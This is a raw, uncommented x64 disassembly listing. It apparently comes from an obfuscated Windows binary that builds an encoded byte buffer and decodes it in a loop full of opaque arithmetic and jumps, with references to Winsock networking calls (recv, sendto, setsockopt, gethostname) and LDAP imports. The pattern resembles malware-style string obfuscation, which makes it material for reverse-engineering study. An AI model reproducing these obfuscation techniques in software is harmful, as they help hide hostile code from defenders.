jmp 0x1401202fd
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x14011ff8d
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140120347
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14012017f
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140120369
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14012036c
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x1401201be
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x140120204
movabs rdx, 0x56c8ec1d622f8360
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140120396
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
cmp rdi, 4
jae 0x14012015e
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x140120058
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x140120151
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x1401202fd
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x14011fe60
movabs rdx, 0x74d06cabcb703da8
mov ecx, r12d
jmp 0x1401201be
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14012036c
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140120369
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x14012027d
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
jmp 0x1401202b7
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x140120325
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401202fd
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14011feb2
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x140120189
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14011ff4a
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011fcf6
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14011fee1
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140120396
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14011fefe
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x1401201be
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011ff29
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14012036c
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14011fe6f
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x1401202b7
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14011ff75
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x1401202fd
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011ffa4
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140120325
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14011ffcf
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x140120369
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14011fffa
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1401201d0
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140120029
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140120204
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14011fcf6
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140120396
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140120075
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14011feca
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140120092
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x1401201be
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401200af
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14011fdb9
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401200da
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14012027d
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140120105
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140120347
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140120122
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x14011ff8d
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14011fd2d
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1401202fd
mov byte [rbp + r9 + 0x800], bl
jmp 0x1401203a5
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x800]
sub bl, al
sub bl, 0x60
add bl, dl
add bl, r8b
jmp 0x14012027d
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x800]
jmp 0x1401201cb
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x800], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0x800], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140120396
movabs rdx, 0x586fb6e44ef8d91c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140120369
movabs rcx, 0x6b8147fede85b254
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, bl
add cl, r8b
mov byte [rbp + r9 + 0x800], cl
jmp 0x140120369
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140120347
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401202eb
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x800], cl
add r10, r15
jmp 0x140120347
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
sub r9, r15
jmp 0x1401203a5
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401203a5
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, r12b
movzx eax, byte [rbp + r9 + 0x800]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14011f8fc
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011f8f9
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x14011f8e9
lea rdx, [rbp + 0x16f0f30]
jmp 0x14012040e
lea rdx, [rbp + 0x68a294]
jmp 0x14012040e
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x3e0]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0x18e0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140120440
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x18e0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x18e0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x18e0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x730], 0xcb
mov byte [rbp + 0x731], Ordinal_143
mov byte [rbp + 0x732], 0xac
mov byte [rbp + 0x733], 0xf3
mov byte [rbp + 0x734], Ordinal_79
mov byte [rbp + 0x735], 0xf1
mov byte [rbp + 0x736], WSACleanup
mov byte [rbp + 0x737], 0xf7
mov byte [rbp + 0x738], 0x55
mov byte [rbp + 0x739], 0xf5
mov byte [rbp + 0x73a], 0xa2
mov byte [rbp + 0x73b], 0xfb
mov byte [rbp + 0x73c], 0x66
mov byte [rbp + 0x73d], 0xf9
mov byte [rbp + 0x73e], 0x55
mov byte [rbp + 0x73f], 0xff
mov byte [rbp + 0x740], 0x59
mov byte [rbp + 0x741], 0xfd
mov byte [rbp + 0x742], WSACleanup
mov byte [rbp + 0x743], 0xe3
mov byte [rbp + 0x744], 0x47
mov byte [rbp + 0x745], 0xe1
mov byte [rbp + 0x746], Ordinal_79
mov byte [rbp + 0x747], 0xe7
mov byte [rbp + 0x748], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x749], 0xe5
mov byte [rbp + 0x74a], 0x42
mov byte [rbp + 0x74b], 0xeb
mov byte [rbp + 0x74c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x74d], 0xe9
mov byte [rbp + 0x74e], 0x40
mov byte [rbp + 0x74f], 0xef
mov byte [rbp + 0x750], 0xb8
mov byte [rbp + 0x751], 0xed
mov byte [rbp + 0x752], 0x87
mov byte [rbp + 0x753], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x754], 0x44
mov byte [rbp + 0x755], Ordinal_211
mov byte [rbp + 0x756], 0x40
mov byte [rbp + 0x757], Ordinal_217
mov byte [rbp + 0x758], 0x81
mov byte [rbp + 0x759], Ordinal_217
mov byte [rbp + 0x75a], 0x7e
mov byte [rbp + 0x75b], 0xdb
mov byte [rbp + 0x75c], 0x7c
mov byte [rbp + 0x75d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x75e], WSACleanup
mov byte [rbp + 0x75f], 0xdf
mov byte [rbp + 0x760], Ordinal_143
mov byte [rbp + 0x761], 0xdd
mov byte [rbp + 0x762], 0x64
mov byte [rbp + 0x763], Ordinal_200
mov byte [rbp + 0x764], WSAGetLastError
mov byte [rbp + 0x765], 0xc1
mov byte [rbp + 0x766], 0x54
mov byte [rbp + 0x767], Ordinal_200
mov byte [rbp + 0x768], Ordinal_200
mov byte [rbp + 0x769], Ordinal_200
xor eax, eax
mov dword [rbp + 0x76a], eax
mov word [rbp + 0x76e], ax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x40
jae 0x14012125f
movzx r9d, byte [rbp + r10 + 0x730]
mov r8, r9
cmp rdi, r10
ja 0x140121256
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140120684
movabs rcx, 0xda32561d88143dbe
add rcx, r10
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
sub bl, 0x32
jmp 0x1401206be
je 0x1401211c9
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140121170
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140121119
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401210f0
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401210a8
cmp r11, r10
ja 0x14012124d
lea rax, [r11 + 4]
cmp rdi, rax
jae 0x1401206ef
movabs rcx, 0xe621106c29a91096
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1a
jmp 0x140120723
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140121089
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140121066
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140121037
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140121019
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x140120ce4
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x140120cc2
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x140120c9c
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x140120c79
lea rax, [r11 + 9]
cmp rdi, rax
je 0x140120c65
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140120c42
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x140120c1f
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x140120bfb
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x140120bda
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140120bb4
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x140120730
lea rdi, [r11 + 0x200]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x140121227
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x140121201
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x14012092d
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x140120907
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x1401208e5
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x140120b52
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x140120af5
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x140120aa7
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x140120a7b
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x140120730
lea rdi, [r11 + 0x64]
lea r11, [rdi + 0x400]
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x140120a67
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x140120a46
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x140120a25
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x1401209ff
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x1401209dc
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x1401209bb
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x140120998
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x140120976
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x140120950
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x140120730
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 1]
jmp 0x140120730
movabs rcx, 0x7954c208e2fd862a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x26
jmp 0x140120723
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401206be
movabs rdx, 0x108b6992c2ac8f32
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14012064d
movabs rdx, 0x310883614d4884b0
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401210c7
movabs rcx, 0x7ca3d7263d200934
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6c
jmp 0x1401210eb
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 8
jmp 0x140121111
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140120fb7
movabs rcx, 0x5f75d2750ca696c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x40
jmp 0x140120fe6
movabs rdx, 0xab112639fc7e1b44
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140121054
movabs rdx, 0xf6ac79feec559fc8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x140121138
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x14
jmp 0x140121192
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x140120bc3
movabs rdx, 0x4ae772f5239f741a
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov byte [rbp + r10 + 0x730], bl
jmp 0x1401211f9
movabs rcx, 0x9682c6ba1376f89e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x52
cmp r11, 0x1000
jb 0x140120a9a
movabs rcx, 0xf00e4fc4381099b4
add rcx, r10
mov al, cl
and al, r9b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x1401210c7
movabs rdx, 0xe21e1a7f034e7d22
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 0x40
jae 0x140120f96
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x140120eb2
movabs rcx, 0xe41f9575967bc6dc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x140120ac4
movabs rdx, 0x2db96e43f32601a6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
lea rax, [r11 + rdi]
cmp rax, 6
je 0x140120feb
lea rax, [r11 + 0x10]
cmp rdi, rax
jbe 0x140120de5
movabs rdx, 0xfdfe85096cd2b646
add rdx, r10
mov al, dl
and al, r9b
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140120b16
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401211ea
movabs rdx, 0xb061b64de9cde808
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
jmp 0x140121192
movabs rdx, 0xfbfd0a12d9a56c8c
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x140121138
movabs rcx, 0x47985dd7c97cf110
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x70
jmp 0x140121054
movabs rcx, 0x9333b19cb9547594
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x140120fe6
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x1401209ca
movabs rcx, 0x2a6a592699037e9c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x140121111
movabs rdx, 0x7605aceb88db0320
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401210eb
movabs rcx, 0xc1a100b078b287a4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x1401210c7
lea rax, [r11 + 8]
cmp rdi, rax
jae 0x140120d0f
movabs rcx, 0xda32561d88143dbe
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x32
jmp 0x140120b73
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140120d3a
movabs rcx, 0xcc4220d85352212c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r12b
jmp 0x1401211ea
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140120d57
movabs rdx, 0x350b794e73a31824
mov ecx, 2
jmp 0x140121028
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140120d86
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140120fe6
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140120db2
movabs rdx, 0x52397dffa41c8a98
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x28
add bl, dl
jmp 0x140120fbc
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140120b73
movabs rdx, 0xbb02d675c46d8190
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401210eb
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140120e0f
movabs rdx, 0xb26331447cfb31c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
jmp 0x1401210c5
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140120e3a
movabs rcx, 0xcf9135f5ad74a436
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
jmp 0x140120fbc
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140120e57
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x140120d6f
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140120e82
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x42
jmp 0x140121054
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140120b16
movabs rcx, 0x5588931cfe3f0da2
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6e
jmp 0x1401211ea
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140120ede
movabs rcx, 0x988441b0a6a44258
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x1401211ea
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140120f09
movabs rcx, 0x14d9a26c6f53950
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x14012113a
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140120f38
movabs rdx, 0x6a16f29ce7463048
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140120fe6
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x140120f67
movabs rdx, 0xd2e04b1307972740
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140121111
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140120ac4
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
jmp 0x1401210eb
movabs rdx, 0xa472fbff48391530
add rdx, r10
mov al, dl
and al, r9b
add al, al
mov bl, byte [rbp + r10 + 0x730]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r9b
movabs rcx, 0x7ea5521cd04d52ee
add rcx, r10
mov al, cl
and al, r9b
mov edx, 0x3f
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
add dl, bl
mov byte [rbp + r10 + 0x730], dl
add rdi, r11
jmp 0x140121054
movabs rdx, 0x58d7a83a586190ac
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x730]
add bl, dl
add bl, r9b
jmp 0x14012113a
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14012100f
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401211f9
movabs rcx, 0x34f151d5a22830a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x46
jmp 0x140121111
movabs rcx, 0x9a85bca739d18c12
